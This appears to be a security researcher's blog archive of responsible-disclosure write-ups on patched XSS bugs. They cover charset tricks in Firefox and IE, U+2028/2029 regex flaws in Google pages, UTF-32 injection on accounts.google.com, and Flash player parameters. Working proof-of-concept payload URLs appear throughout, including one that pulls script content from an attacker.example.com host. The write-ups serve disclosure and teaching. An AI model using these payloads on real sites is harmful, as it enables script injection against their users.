2013/12/11

CVE-2013-5612: Firefoxのcharsetの継承によるXSS

Firefox 26で修正された、 オリジンを超えて文字エンコーディングを継承させることができたため、 XSSを引き起こせる場合があったバグについて書きます。

MFSA 2013-106: Character encoding cross-origin XSS attack
https://www.mozilla.org/security/announce/2013/mfsa2013-106.html


一言で言います。

エンコーディング指定がないページに対し、POSTリクエストを送ると、たとえオリジンが異なっても、 POSTリクエストを送ったページのエンコーディングを使ってページを表示することができていました。
つまり、エンコーディング指定がないページで自動選択されるエンコーディングを、外部のサイトが自由に選択できたということです。


発見のきっかけはZDResearchという情報セキュリティ会社の以下のXSSチャレンジに挑戦していたときです。

https://zdresearch.com/challenges/xss1/


このページにはエンコーディングの指定がなく、ページのエンコーディングを想定外のもので表示できればXSSできるのに、と考えていたところ、この問題に気が付きました。
そのときの解が以下です。Firefox26未満のブラウザでXSSできます。

http://l0.cm/zdresearch_xss_challenge.html


ISO-2022-KRがPOSTを送ったページ l0.cm から継承され、 「0x0E」から「0x0F」が2バイトで1文字表現となり、期待するHTML構造を破壊し、onmouseover属性を埋め込むことができています。

(ちなみに、この発見の賞品として、ZDResearchから以下の写真の A Bug Hunter's Diary: A Guided Tour Through the Wilds of Software Security を頂きました。Thank you ZDResearch!)



余談として、現在Firefoxがサポートしているエンコーディング( http://l0.cm/encodings/table/ を参照 )はほとんどが安全なものに限られており、また、 エンコーディング自体のバグの多くも修正されているので、全く無理ではないものの、 HTMLの構造をうまく変更してXSSすることが難しいです。UTF-7とか、X-Mac-Farsiがサポートされている頃に発見していたらもうちょっとおもしろかったんですけど!

とはいえ、このバグが修正されても、そもそもウェブページにエンコーディング指定がない時点でどのエンコーディングで表示されるかが保証されないので、今後もエンコーディング指定がないページでは、場合によっては想定外のものが自動選択され、XSSが起きる場合はあり得ます。引き続き、サイト管理者はContent-Typeヘッダ(※こっちで確実にすることを推奨します)やmetaタグで、エンコーディング指定をきっちりすべきです。

2013/11/30

MS13-037: エンコーディングの自動選択の強制によるXSS

2013年5月の月例パッチ、MS13-037で修正された、Internet Explorerでエンコーディングの自動選択を強制的に起こせたバグについて書きます。

http://technet.microsoft.com/ja-jp/security/bulletin/ms13-037
 このセキュリティ情報に組み込まれている多層防御についてマイクロソフトと協力してくださった Masato Kinugawa 氏

アドバイザリには問題に対する説明がありませんが、多層防御で修正されたのがこの問題です。

今回は、ざっと、報告書っぽく。
 --------------------------------------------


報告日:
2012年11月23日

問題の概要:

IEで特定の方法でページを表示しようとすると、ページのエンコーディングの指定にかかわらず、ページに含まれるバイト値からブラウザ側でエンコーディングを判断する、"エンコーディングの自動選択"が勝手に発生する。

ページのエンコーディングがユーザーにより切りかえられるとXSSが起きる場合があるという記事を以前書いた( http://masatokinugawa.l0.cm/2012/12/encoding-self-xss.html )ように、 この動作は、単なる表示上の問題だけでなく、XSSなどのセキュリティ上の問題を引き起こす場合があり、好ましくない。


発見したきっかけ:

IEでページを見ていた際に、適切にエンコーディングの指定がされているページで文字化けが発生したことから。



再現させた環境:

Windows Vista sp2 IE9(2012年11月までに提供されたパッチをすべて適用済み)


再現方法:

以下のように細工したページを用意することで、強制的に自動選択を起こすことができる。

<script>
function go(){
window.open("http://vulnerabledoma.in/r_slow?url=http://target/","x")//手順1
window.open("http://vulnerabledoma.in/h_back.html","x")//手順2
}
</script>
<button onlclick=go()>go</button>

手順は、

1. ターゲットのページに対して "少し細工をした300台のリダイレクト" を起こすページをwindow.openする
2. そのページに対してすぐに「戻る」操作だけが書かれたページ( <script>history.back()</script> )をwindow.openでかぶせる


これでターゲットのページに「戻ったとき」、文字化けが起こる。

1のリダイレクトの細工とは、リダイレクトが完了するまでに意図的に数秒の遅延を発生させるようにしてあること。 実際に http://vulnerabledoma.in/r_slow?url=https://www.google.com/ にアクセスしてみると、 リダイレクトするまでに時間がかかることがわかると思う。

このリダイレクトははさまなくても化かすことはできるのだが、  ターゲットのページが完全に読み込まれる前に「戻る」動作がされると問題が起こる挙動であったため、読み込みがはやいページでは、化かすのに失敗することがあった。遅延のあるリダイレクトをはさむと、読み込みがはやいページでも確実に問題を起こすことができる。

XSSで攻撃するときには、ターゲットのページの文字列を出力できる部分から、特定のエンコーディングの特徴的なバイト列を並べ、特定のエンコーディングで作られているように装えばよい。うまくいけば、IEは自動選択でそのエンコーディングを選択し、HTMLやJavaScriptもろとも構造を変えることができる。

--------------------------------------------


もちろん、前提条件として、ターゲットのページが特定のエンコーディングで表示されたとき、XSSが起きるような作りになっている必要があります。難しそうですが、できないこともありません。
実際に、GoogleのサービスでXSSが可能な箇所を複数確認しており、報告しています。(なお、この情報提供に対し、特別に$500を頂きました。)

これがそのときに報告したページの1つです。

https://docs.google.com/spreadsheet/embeddedform?formkey=dDBuQjhkWVozbV9JR1NSRDBHNHRHVWc6MQ
 
このページを先ほどの仕掛けにかけると、ページに含んだ [0x1B]$)C という特徴的なバイト列から、ISO-2022-KRが選択され、XSSが起きていました。

(※ただし、このGoogleの問題を再現させる場合、ページで右クリック→「文字コード」→「自動選択」のチェックが入っている必要があります。この設定はすべてのページで永続的に適用されます。この設定がオンになっていないと、システムロケールがエンコーディングの決定にかかわってきて、うまくISO-2022-KRが選択されません。)
 
なお、報告した11月から修正が発表された5月まで、細かい動作が変更されているかもしれないので、もし再現させてみようという方がいれば、2013年4月より、2012年11月までさかのぼった方が確実です。実際、僕が2月くらいにみたときはうまく動かなかった気がします。多分途中で、軽減策として自動選択で選択されるエンコーディングが制限されて、ISO-2022-KRなどが選択されなくなったのではと思います。

そこまで戻すのが面倒な人は、上のGoogleのページを開いて「エンコード」→「韓国語」で疑似体験ができます。

おまけの話として、パッチが提供された後、再現方法が少し違う文字化けの問題に対しても、パッチ後に問題が起きなくなったというWeb上の投稿があったりして( http://answers.microsoft.com/ja-jp/ie/forum/ie9-windows_7/%E6%88%BB%E3%82%8B%E3%83%9C%E3%82%BF%E3%83%B3/2b34b6ea-17f4-4499-ac07-aa8a007ac251 )、目に見える表示上の問題も直ってよかったなーと思いました。


そんなんでした。
エンコーディングの記事は基本人気がない気がしますが、次もエンコーディングの記事を書く予定です!

2013/10/29

Referrer文字列によるXSS

リファラを使ったXSSの小ネタです。

今回取り上げるのは、ターゲット自身が、細工したページを経由することでつけられたリファラによって攻撃を受けるケースです。このような攻撃の場合は、現実に経由可能なページからでしか攻撃文字列を送りこむことができません。

例えば、以下のように、document.referrerをそのままdocument.write()しているページがあるとします。

http://vulnerabledoma.in/location/


リファラを書き出している部分でXSSできるでしょうか。

IEでは単純です。
IEはURLのクエリに、エンコードせずに「"<>」などを含めることができるので、これらを含むURLから、リファラを書き出しているページへ遷移させれば、XSSが起きます。

http://l0.cm/xss_referrer.html?<script>alert(1)</script>


Firefox・Chrome・Safariなどのブラウザの場合は、「"<>」はクエリ中でエンコードされるのでこのPoCではスクリプトは実行されません。

IE×リファラ でXSSが可能なことは、知ってる人は知っているのではないかと思いますが、 今回は、ChromeやSafari(6.1で確認)でも攻撃が可能だということを紹介します。今日言いたいのはここです。たぶん、まだ誰も公開していない手法だと思います。

はい:

data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://vulnerabledoma.in/location/"}</script>


「<meta name="referrer" content="always">」という、リファラ送信を制御するタグ( http://wiki.whatwg.org/wiki/Meta_referrer )をつけると、通常はリファラを送信しないdata: URLからでもリファラを送信してくれるようです。こうすると、ChromeやSafariで「"<>」をリファラに含められます。
Firefoxでも今後、 <meta name="referrer">をサポートしたら攻撃が可能になるかもしれません。

以上、XSS小ネタでした。

2014/6/30 追記
この手法は2014/6/30時点で最新のChrome(35.0.1916.153)/Safari(7.0.4)で動かなくなっています。
Safariで動作する別の手法について新しい記事を書きました。(基本的にはdata: からblob: にしただけ)

Referrer文字列によるXSS part2
http://masatokinugawa.l0.cm/2014/06/referrer-xss-part2.html

2014/9/22 追記
Safari(7.1)で確認したところ、動かなくなりました。

2013/09/17

U+2028/2029とDOM based XSS

ECMAScriptの仕様では、0x0A/0x0D以外にU+2028/2029の文字も改行とすることが明記されています。
これはあまり知られていないように思います。 以下はアラートを出します。
 
<script>
//[U+2028]alert(1)
</script>

知られていないだけでなく、知っていたとしても、スクリプトで文字列を処理するときに、U+2028/2029まで考慮する開発者がどれだけいるのかという話です。
実際、U+2028/2029を放り込むと文字列リテラル内にその文字が生のまま配置され、エラーが出るページは本当にたくさんあります。まあ、エラーがでるだけなら、大抵の場合大きな問題にはなりません。

ところが、U+2028/2029によってXSSが引き起こされてしまう場合というのを最近実際に見ました。
Googleのサービスで見つけた2つのケースを取り上げたいと思います。

ケース1. ChromeとIEで脆弱だった例

 以下はGoogle(tools.google.com)に存在した脆弱なコードです。URLは例です。


https://tools.google.com/foo/bar/install.html
var url = String(window.location);
var match = url.match(/(.*)www\.google\.com(.*\/install.html)/);
if (match) {
window.location = match[1]+"tools.google.com"+match[2];
}


正規表現でURLを取得し、リダイレクトをしようとしています。
コードを書いた人が期待するのは、おそらく、アクセスされたホストが  www.google.com だった場合に、ホスト tools.google.com の同じURLにリダイレクトさせるものだと思います。

この正規表現では残念ながら期待しないURLへのリダイレクトを許可してしまいます。
次のようなURLを与えられると、予想外のウェブページへのリダイレクトどころか、XSSが起きます。

https://tools.google.com/foo/bar/install.html#[U+2028]javascript:alert(1)//www.google.com/install.html

JavaScriptの正規表現の . (ドット) は改行以外のすべての文字にマッチします。この「改行」に当てはまるのは、0x0Dや0x0Aだけではないというのがポイントです。
URLに0x0D、0x0Aを直に含めることはできません。 ところが、U+2028/2029は、ChromeやIEの#以降において、エンコードせずに含めることができてしまうのです。
 これらの文字ははじめに書いたように、仕様上改行の扱いなので、 . (ドット) にマッチしません。ですので、上記URLの場合、後続の条件を含めた、改行を含まない0文字以上の繰り返し 「.*」 にマッチするのは「javascript:alert(1)//」ということになり、見事にjavascript: なURLを引っ張り出すことができてしまうという訳です。

以下でこのコードを確かめることができます。
http://vulnerabledoma.in/domxss_u2028u2029.html

以下でChromeやIE9以上でアクセスすると再現を確認できます。
PoC

ちなみに、IEの場合、IE9以降のドキュメントモードでないと .(ドット) がU+2028/2029にマッチしてしまう挙動があるようなので、動きません。

ケース2. IEだけが脆弱だった例

こんなコードのあるページがありました。

https://www.google.com/intl/en/nexus/features.html
 var a = window.location.toString();
return a.indexOf("intl") > -1 ? a.match("/(.*)/nexus/")[0] :
"/nexus/"

この処理でもらってきたURLにフラグメント以降の文字列を足してXMLHttpRequestを飛ばし、responseTextをページ中に書き出すだか、そんな処理をしていたと思います。

パス先頭の「/intl/en/」はGoogleのサービスのいろいろな箇所で使えるURLで、「en」だったら英語、「ja」だったら日本語で表示してくれたりと、その言語での表示の切りかえができるものです。

intlという文字列がURLに存在した場合の分岐後の処理にでてくる、「/(.*)/nexus/」の .* がここでも問題になります。「/nexus/」という文字列がでてくる前に スラッシュと 0文字以上の改行以外の繰り返し が存在することがマッチの条件です。この正規表現で期待されるURLは、最初のスラッシュは プロトコルとホストの区切りの「//」の先頭で、そこからパスの/nexus/がでてくるまでの文字列を拾ってくるというものだと思います。

さあ、これを騙すことができるでしょうか。

一番初めの報告では、僕が以前発見したAndroid 4.1未満のlocation.hrefのバグ( CVE-2012-3695 )を利用した場合にXSSが起きるだろうというものでした。
https://attacker%2Eexample%2Ecom%2Fnexus%2F@www.google.com/intl/en/nexus/features.html#/help
詳細は以前記事に書いた通り、認証情報を記述できるホストの前の@以前の文字列が、location.href中で勝手にデコードされて取得されるという問題です。
デコードされてしまうと、最終的にさっきの正規表現では、
//attacker.example.com/nexus/help

みたいなかんじの外部リソースが取得されてしまいます。こうなると、外部サイトで、Access-Control-Allow-Originを設定しておくことで、www.google.com上にresponseTextを通じて、スクリプトを含んだ文書を紛れ込ますことができてしまいます。

自分の過去の報告から考えても、GoogleはAndroidに残ったバグに起因するXSS対応には乗り気ではないかんじだったので、今回もこれじゃあ弱いなーと思いつつ一応の報告に至ったのですが、やはり反応はよくありませんでした。

その後、他のブラウザでもなんとかならないかとあれこれ考えていると、/intl/en/の「en」の部分にはほとんど自由に文字を入れられることに気が付きました。指定が変な場合は英語の文書が表示されるようです。

実は、IEは#以降以外にも、パス、クエリ部分も、エンコードしないで U+2028/2029 を含めることができてしまいます。

ならば、以下のようにすれば、一番はじめにでてくるスラッシュからnexusまでのマッチを回避できます。
https://www.google.com/intl/en[U+2028]/nexus/features.html?[U+2028]//attacker.example.com/nexus/#/help

少々ややこしいですが、正規表現のまどろっこしい文章説明をこれ以上繰り返すのはメンドイので、これで何がマッチされるか、よく見てみてください。
こうして、IEで動作することを証明できました。


はい、U+2028/2029で生じるDOM based XSSというのを紹介しました。

このXSSのわかりにくいところは、

・そもそもU+2028/2029が改行であることを知らない/忘れやすい
・URLに改行にあたる文字が入ることを意識しづらい

ことにあると思います。
まあ、改行がどうこうというより、Googleの例でも、かなりおおざっぱな正規表現のために失敗しているので、日ごろから厳密な正規表現を書くことを心がけていれば、混入する可能性はだいぶ少なくなると思います。

ちなみに、この2件の報告はGoogleの報酬制度の金額の増額が発表されたあとのものなので、前者は$3,133.7、後者は$5,000を頂いています。 金額の違いは存在したドメインの重要度の違いによるものです。

まとめ

U+2028/2029はJavaScript中で改行と同じ意味を持つ。
IEはURL中のパス・クエリ・フラグメントで、U+2028/2029をエンコードせずに含められる。
Chromeはフラグメント中でU+2028/2029をエンコードせずに含められる。
正規表現は可能な限り厳密に書こう。

2013/09/11

たぶんXSSが理由でインターネットがとまった

昔自分が利用者だったサイトのセキュリティ問題(XSS)をいくつか報告していたのですが、おそらくそのリクエストを理由にインターネットが使えなくなりました。プロバイダに接続を止められたのです。

そのサイトで問題をみつけたとき、サービス提供者側の反応を示す兆候がありました。
問題を発見後、しばらくしてアクセスしようとすると、アクセスを拒否されたからです。

サービス提供者には問題を報告し、アクセス拒否についても、一応、今報告してる通りこれは攻撃ではないので誤解なきようよろしくとメール連絡したところ、問題は修正されました。
これで真意は伝わり、アクセスと関連付けられ、アクセス拒否に対する誤解も解決しただろうと思ったのですが、その後急にインターネットが使えない事態にまでなるとはだれが予想できたでしょうか…。(今は携帯の回線を使っています)

プロバイダから書面が届き、書面には問題の報告時とほぼ同じ日付に苦情があったことが記されていました。
プロバイダには、攻撃をしたとみなされ、再開するにはこういった行為をしないという誓約書を書かなければいけないそうです。

不本意なので、サービス提供者とプロバイダに事情を説明しましたが、サービス提供者は「セキュリティ上の理由でこたえられないが、一般論として不正なアクセスがあれば報告する」の一辺倒で、例外的なハンドリングをするつもりはなく、思考停止しているかんじでした。なぜ僕の報告と、僕のアクセスと、プロバイダへの連絡の事実を調査し結びつけることができないのか、意味が分かりません。それが攻撃によるものではなかったと、あなた方がプロバイダに連絡してもらえば、誓約書なんて書かなくてもきっと済むはずなのに。

そもそもXSSは、サーバーを直接攻撃するような性質のものではないため、発見する人間をアクセス拒否したところで根本原因を修正しなければ全く解決になりません。僕のブラウザでアラートがでなくなるだけです。
セキュリティ問題の報告はこれまでたくさんしていますが、このような事態になったのは初めてであり、アラートを出せる状態を確認するアクセスが、プロバイダに連絡するほどの不正なアクセスであるという、この会社の言う一般論は存在しないと思います。

こういった誤解が生じることはありうると思いながら日々報告していましたが、もし誤解が生じても、人間なので、説明すれば理解してもらえると思っていました。
ところが、報告して、事情まで説明しているにもかかわらず、会話ができない会社がある現実は、残念であるとしか言いようがありません。そのようなセキュリティで何が守れると言うのでしょうか。

こうした行為さえ規制されて、善意の報告者を委縮させ、セキュリティ問題が放置され続ける状態になっても誰も得しないと思います。
 かつて利用者であった僕の情報を何らかの形でまだ持っているのなら、セキュリティ問題でせめてそれを漏らさないでくれと祈るばかりです。ベネッセさん。

とりあえずはやくまともにインターネットがしたいです。

2013/9/12 10:44 追記

まだなんとも言えませんが、事態がいい方向に向かう可能性がでてきました。
ある方の協力により、ベネッセさんが対応を検討してくれています。

2013/9/12 22:00 追記

ベネッセさんに話が伝わり、ご理解をいただけました。ベネッセさんが照会をしてくださり、僕のアクセスであることが確認できたため、プロバイダへ「不正アクセス情報の取り下げ」および「停止解除のお願い」の連絡をしてくださったとのことです。その際、ベネッセの方と僕の仲介として、徳丸 浩さんに手助けをしていただきました。徳丸さんのサポートがなければこのように正しく事情を説明することは難しかったと思います。徳丸さんには本当に感謝しています。今後、接続に関してどうなるかはわかりませんが、事情を伝えることができたことは大きな喜びです。

2013/9/13 17:48 追記
プロバイダに確認の電話を入れたところ、取り下げに関する連絡がきていることが確認できたので、1時間をめどに再開させるという連絡を頂き、その後、17:00ごろインターネット接続が復活しました。ベネッセさんからも、検査に関して条件付きで前向きなお話をもらっており、今後はその指示に従って気が向いたときに調査・ご報告をさせていただくつもりです。とりあえず、ここまででおよそ達成したいことはできており、ほっとしています。多くの方のご協力がありここまでこれました。今後は、サービス側にもあらゆる事情があることを鑑みて、今以上に慎重に行動すると思います。
 関係者の方々、見守っていただいた方々、このたびは大変お騒がせしました。

2013/06/18

accounts.google.comに存在したXSS

Googleの脆弱性報酬制度の報酬がアップされましたね!

Google、脆弱性情報に支払う報奨金を大幅アップ - ITmedia エンタープライズ
http://www.itmedia.co.jp/enterprise/articles/1306/10/news027.html
Googleアカウントページに存在するクロスサイトスクリプティング(XSS)の脆弱性情報については3133.7ドルから7500ドル

 accounts.google.comのXSSは$7,500 だそうです。みつけたいですね!

みつけるのはかなり厳しいと思いますが、かつて2つみつけたことがあります。
今日はそのうち1つを紹介したいと思います。

oeパラメータを使ったXSS

2012年12月27日に報告し修正された問題です。
Googleは、一部のサービスで「oe」というクエリパラメータを付加することで、ページの表示に使用するエンコーディングを指定できます。

もちろん、oeには、任意のエンコーディングが指定できるわけではありません。もし自由にエンコーディング名を指定できてしまったら、そのエンコーディングをサポートしていないブラウザでは、ページを正しく表示できなくなったりするからです。
 
エンコーディングはXSSを引き起こすポイントとして注目すべきところです。ただ、明示的にエンコーディングを指定できる場所で、よりによってGoogleにスキがあるとは思えません。ところが、調べてみるとそうではありませんでした。

Googleの「oe」パラメータは、oeを指定しても認識されないページがあったり、認識できる文字列が異なると感じるページがいくらかありました。差を調べていったところ、多くの文字列をエンコーディング名として認識するページでは、完全に自由ではないものの、明らかに必要以上のエンコーディングを指定できてしまうことがわかりました。それがよりによって、accounts.google.com のページだったのです。

結論から言うと、以下のようにすると、IEでXSSすることができていました。
 https://accounts.google.com/NewAccount?oe=utf-32&Email=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert%281%29%E3%B0%80/script%E3%B8%80


oeにUTF-32を指定しています。これでレスポンスヘッダのContent-Typeのcharsetには、UTF-32が設定できていました。なぜこれでXSSができたのでしょうか。

UTF-32は1文字を4バイトで表します。例えば「<」は [0x00][0x00][0x00][0x3C]、「あ」(U+3042)は[0x00][0x00][0x30][0x42]で表されます。
例を見た方が簡単だと思うので、UTF-32のエンコーディングを設定したページを用意しました:

http://l0.cm/utf-32.html


正しくUTF-32で表示できた場合には、 「UTF-32!」とアラートダイアログが出た後、ページ中に「あ」が表示されるはずです。
UTF-32をサポートするブラウザはChromeとSafariです。( http://l0.cm/encodings/table/ を参照 ) ですので、ChromeとSafariではこれを正しく表示することができると思います。

ところがUTF-32を認識できない、FirefoxやIEだとどうでしょうか。
Firefoxでは、間のヌル文字が邪魔してHTMLのソースが露出する形で表示されます。
IEはアラートダイアログがでます。 これはUTF-32をサポートしているからではなく、IEではヌル文字[0x00]はHTML中で無視されるという挙動があるためです。代わりに、全角の「あ」(UTF-32で [0x00][0x00][0x30][0x42] )の部分はうまく表示できておらず、「0B」(ASCIIで [0x30][0x42]) と表示されているのがわかると思います。

今のIEの挙動を踏まえて、今度は、UTF-32で「∀」(U+2200)という文字をHTML中に配置することを考えてください。
UTF-32では[0x00][0x00][0x22][0x00] で表されます。じゃあもしこのバイト値を配置したページをIEで表示したら、どうなるでしょうか。はい、無視されるヌル文字を除いて「"」(0x22)だけが現れることになります。

今回のXSSの原理はこういうことです。GoogleはUTF-32としては有効でXSSのないHTMLを出力していましたが、[0x22]( " )や[0x3C]( < )や[0x3E]( > )などのバイト値が含まれる、UTF-32のときにはエスケープする必要がない文字を使うことで、UTF-32をサポートせずヌル文字を無視するIEでは、ほとんど本来のHTMLページを表示しつつ、ページの構造を破壊することができました。

さきほどのURLのEmailパラメータをUTF-8でパーセントデコードすると、次のような文字列が現れます。

∀㸀㰀script㸀alert(1)㰀/script㸀


これらに含まれる文字はUTF-32で以下のように表されます。

∀ U+2200 [0x00][0x00][0x22][0x00]
㸀 U+3E00 [0x00][0x00][0x3E][0x00]
㰀 U+3C00 [0x00][0x00][0x3C][0x00]

メールアドレスの入力欄に配置されるこれらが最終的に挿入される形は、ヌル文字を無視して、

"><script>alert(1)</script>

となり、IEでは以下の画像のように、我々が大好きなアラートダイアログが表示されるという訳です。






その後さらに調べると、oeにはUTF-32以外にも、ブラウザがサポートしていない、ASCIIと互換性のないエンコーディングを指定することができており、IE以外のすべてのブラウザでXSSを起こすことが可能でした。


はい、こんなのでした。
この問題をみつけた時点では、制度の上ではaccounts.google.comのXSSは$3,133.7が設定されていましたが、今回の問題は、複数のページにわたって影響し、Coolなバグだとして、特別に$5,000をもらいました。

個人的にもUTF-32を使った実際の問題というのはこれが初めてで面白かったです。
ブラウザがサポートするエンコーディングなど、エンコーディングについていろいろ調べていなければ思い付かなかったと思います。役に立たなそうなことを地道に調べ続けてよかったです。

2013/05/28

上野宣さん著の「HTTPの教科書」

今日は本の紹介です。
上野さん(@sen_u)著の「HTTPの教科書」が発売されました。

http://www.amazon.co.jp/HTTP%E3%81%AE%E6%95%99%E7%A7%91%E6%9B%B8-%E4%B8%8A%E9%87%8E-%E5%AE%A3/dp/479812625X/



この本の原稿のチェックを山崎さん(@ymzkei5)・はせがわさん(@hasegawayosuke)と一緒にやらせて頂きました。

きっかけは、以前上野さんに献本して頂いた、上野さん監修の「めんどうくさいWebセキュリティ」 です。誤植が結構あったので結構な数を報告していたら、次また本を書くから見てよ、とお話を頂いたというわけです。


「HTTPの教科書」は、通信の方法から個別のHTTPヘッダ・ステータスコードの意味など、HTTPに関する技術を一通り説明してくれます。易しい文体で図も多用されており、とても読みやすいです。また、新しい技術についても一部扱っています。
これからHTTPを学ぼうとする初級者や、よくわからないままなんとなく使ってきたという方に特に適していると思います。

僕も、誤植に関して言えば、かなり慎重にチェックし、修正のお手伝いができたと思います。
まぁ、残念ながら目次に誤植がありましたが…

Webに関わる人のための『HTTPの教科書』を発売 - うさぎ文学日記
http://d.hatena.ne.jp/sen-u/20130521/p1
※初版は目次内に間違えている部分があります。

この件は、本になって手元にきたあとに僕が発見したのですが、目次のステータスコードとメッセージの対応が間違っている(それも見事にすべて!)というものです、なんでこんなことに…!
目次はレビュアーで共有しなかったため、印刷前に誤りを発見することができませんでした。ここは残念ですが、他の部分については、厳しくチェックしたつもりなので安心してください!

素晴らしい本の制作にかかわれたことを嬉しく思います。
上野さん、貴重な体験をさせて頂きありがとうございました。

2013/04/26

Flash動画プレイヤー「ふらだんす」に存在したXSSから学ぶ、FlashのXSS3パターン

ストリーミング・ジャパンが以下のURLで提供しているFlash動画プレイヤーの「ふらだんす」に存在し修正された、僕が報告した3件のXSSについて書きます。

http://www.streaming.jp/fladance/

更新しましょう
 
2013年4月12日に提供されたバージョン 2.1.5以降 を使っていなければXSSの穴をサイトに作っていることになります。一応「ふらだんす」の上で右クリックすると使っているバージョンがわかるので脆弱かどうか確認できますが、こういったFlashの動画プレイヤーの更新情報をちゃんとチェックしている人はほとんどいないと思うので、最近導入した人でなければまず脆弱なものを使っていると思います。心当たりがある人は「2.1.5」に更新しましょう。あるいは使っているサイトをみかけたら教えてあげましょう。
これ以降は技術的な話です。

技術的な話
 
あらかじめことわっておくと、僕はFlashに関してまったく詳しい訳ではないんですが、Flashのセキュリティについてまとめられた日本語の記事がウェブ上に少ない(例えばExternalInterface.call()を使うのにセキュリティ上注意が必要なことについて書かれた記事がほぼみつからない)かんじがするし、「ふらだんす」に存在した3件のXSSは生じ方がそれぞれ違い、サンプルとしてちょうどよいので、この機会に自分のわかる限りの範囲でどのようにXSSが生じたか書いておきたいと思います。

脆弱な「ふらだんす」のソースコードは以下で見ることができます。
http://www.showmycode.com/?b1fb4e4666bc1067ef9f9d40d2950245

1. navigateToURL() によるXSS

「ふらだんす」2.1.3未満は以下のようなリクエストにより、動画の再生後に表示される「LINK」ボタンをクリックするとJavaScriptが動作してしまいます。(※検証したところ、Firefoxでしか動作しませんでした。どうもnavigateToURL()のターゲットが_blankに指定されている場合、Firefox以外のブラウザではjavascript: URLに対してナビゲーションを起こさないようになっているようです。)

http://vulnerabledoma.in/fladance_v2-1-1.swf?video_file=http://vulnerabledoma.in/security/sample.mp4&link_url=javascript:alert%28window.opener.location.href%29

navigateToURL()で、link_urlというパラメータに設定されたURLにリダイレクトするようになっており、この時渡される文字列が一切検証されていなかったため、XSSが起こせていました。
navigateToURL()に渡すURLを検証しないと、XSSに繋がる場合があることは公式のドキュメントにも書かれています。

http://help.adobe.com/ja_JP/FlashPlatform/reference/actionscript/3/flash/net/package.html#navigateToURL()

修正後は「http(s)://」から始まるURLのみリンクを許可するようになったようです。

2. htmlTextプロパティによるXSS

「ふらだんす」2.1.5未満は以下のようなリクエストで、swf上に表示されている「CLICK」という文字列をクリックするとJavaScriptが動作してしまいます。
http://vulnerabledoma.in/fladance_v2-1-1.swf?controllbar=%3Cfont%20size=%2250px%22%3E%3Cbr%3E%3Ca%20href=%22javascript:alert%28location%29%22%3ECLICK


パラメータで使用する文字列が誤っている場合に表示されるエラーメッセージ中で、htmlTextプロパティというHTML形式で文字列を表示するプロパティを使用してパラメータ中の文字列をそのまま書きだしていたため、XSSが起きていました。htmlTextプロパティでは、全てのHTMLタグを使える訳ではありません( サポートされているタグは http://help.adobe.com/ja_JP/FlashPlatform/reference/actionscript/3/fl/text/TLFTextField.html#htmlText を参照 )が、少なくともaタグの記述をサポートしており、javascript: やvbscript: などのリンクを作成することができるため、任意の値が書けるとXSSを引き起こせてしまいます。

修正後はエラーメッセージ中にパラメータの値を表示しなくなったようです。

3. ExternalInterface.call() によるXSS

「ふらだんす」2.1.5未満は以下のようなURLでXSSが起きます。
http://vulnerabledoma.in/fladance_v2-1-1.swf?debug_mode=\%22%29%29}catch%28e%29{};alert%281%29//

debug_modeというパラメータがあった場合にExternalInterface.call()という、FlashからJavaScriptを呼び出す関数を使用していました。ExternalInterface.call()は第1引数に実行するJavaScriptの関数、第2引数にその関数の引数を設定して使用します。
「ふらだんす」では第1引数にconsole.log()、第2引数にURLのクエリ文字列を設定してJavaScriptを実行していました。これだけ聞くとconsole.log()を使ってコンソールにクエリ文字列の値を書きだせるだけで特に問題がなさそうに聞こえるんですが、ExternalInterface.call()には知る人ぞ知るXSSを作りやすい問題があり、今回まさにその問題の影響を受けていました。

ExternalInterface.call()でFlashがどのようにJavaScriptを実行しようとしているかは、このXSSを作りやすい問題によって実行エラーを引き起こしたFirefoxのエラーコンソールから垣間見ることができます。

http://vulnerabledoma.in/fladance_v2-1-1.swf?debug_mode=\%22



FlashがJavaScriptの実行時に内部で生成していると思われるJavaScript中で、「"」は「\"」と処理されて渡されているのに対し、「\」は「\」としてそのまま渡されています。これにより「\"」を引数として渡すことで「\\"」という文字列がこの処理に渡り、「"」のエスケープシーケンスが無効化されて途中で文字列リテラルを区切ることになり、画像のようなエラーとなるという訳です。XSSを起こすときには、最初に示したURLのようにtry-catch文をエラーがでないように適当にあわせて、後ろに任意のスクリプトを書いてしまえばいいだけです。このExternalInterface.call()の実装はあまりにひどいですが、この問題の報告者によるとAdobeは「後方互換性のために変更しない」と返事したと言っており( 報告者のブログ http://lcamtuf.blogspot.jp/2011/03/other-reason-to-beware-of.html または 報告者が原著の「めんどうくさいWebセキュリティ」p178を参照 )、Flashファイルの作成者側で「\」を処理するなどして気をつけるしかなさそうです。

修正後はコード中でExternalInterface.call()を使わなくなったようです。


はい!以上です。
忘れがちだけどFlashもXSSとは無縁ではないので注意が必要ですね。

2013/03/05

各ブラウザがサポートするcharsetのリスト

メジャーブラウザがサポートするcharsetのリストを個人的に調べてまとめたので公開します。

正式名とエイリアスのリスト
http://l0.cm/encodings/list/

表にしたもの
http://l0.cm/encodings/table/

charsetの発見は以下のようにして行いました。

1. charsetとして認識してくれそうな文字列をウェブからかき集める。

2. Content-Typeヘッダのcharsetの値に、集めた文字列から1つ選んで指定し、bobyには、<meta charset="iso-2022-jp">を含んだページを作る。

3. 2で作ったページをフレームに読み込み、親フレームからJavaScriptでフレームに設定されたcharsetの値を読み取る。

4. 取得されたcharsetの値により以下のABの判断/処理をする。

A. iso-2022-jp以外が取得された場合:
Content-Typeに指定した値がcharset名として識別された。charsetとして有効な文字列であると判断する。

(注: こう判断する理由として、bodyでの指定よりもヘッダでのcharset指定が優先されることが前提にある。Content-Typeヘッダで有効なcharsetの値が指定されているから、bodyで指定しているiso-2022-jpがスルーされていると判断できる。)

B. iso-2022-jpが取得された場合:
2つの可能性が考えられる。

・Content-Typeに指定した値がiso-2022-jpとして識別された。
・Content-Typeに指定した値はcharset名として識別できない値であり、代わりに<meta charset="iso-2022-jp">指定によりiso-2022-jpが設定された。

 どちらかを判断するために、今度は、Content-Typeのcharsetには同じ文字列を設定するが、bodyには<meta charset="iso-2022-jp">指定がないものをフレームに読み込み、手順3と同じように親フレームからcharsetを取得する。このとき、

iso-2022-jpが取得されれば、Content-Typeに指定した文字列はiso-2022-jpを指している値と判断する。
iso-2022-jpが取得されなければ、Content-Typeに指定した文字列はcharset名として識別できない値と判断する。
  

